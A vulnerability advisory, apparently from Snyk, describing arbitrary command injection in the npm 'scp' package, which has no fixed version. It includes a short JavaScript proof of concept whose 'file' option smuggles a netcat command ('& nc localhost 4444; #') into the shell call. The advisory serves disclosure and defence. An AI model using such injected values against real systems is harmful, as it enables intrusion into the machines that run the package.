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Arbitrary Command Injection Affecting scp package, versions *

0.0
high

Snyk CVSS

    Exploit Maturity Proof of concept
    Attack Complexity Low
    User Interaction Required
    Confidentiality High
    Integrity High

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  • Snyk ID SNYK-JS-SCP-1009828
  • published 21 Jun 2020
  • disclosed 7 May 2020
  • credit Mik317
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Introduced: 7 May 2020

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How to fix?

There is no fixed version for scp.

Overview

Affected versions of this package are vulnerable to Arbitrary Command Injection. The issue occurs because user input is formatted inside a command that will be executed without any checks.

PoC By Snyk Security Team

var scp = require('scp');


var options = {
    file: '& nc localhost 4444; #',
    user: 'username',
    host: 'myServer',
    port: '20',
    path: '~'
}


scp.send(options, function (err) {
    if (err) console.log(err);
    else console.log('File transferred.');
});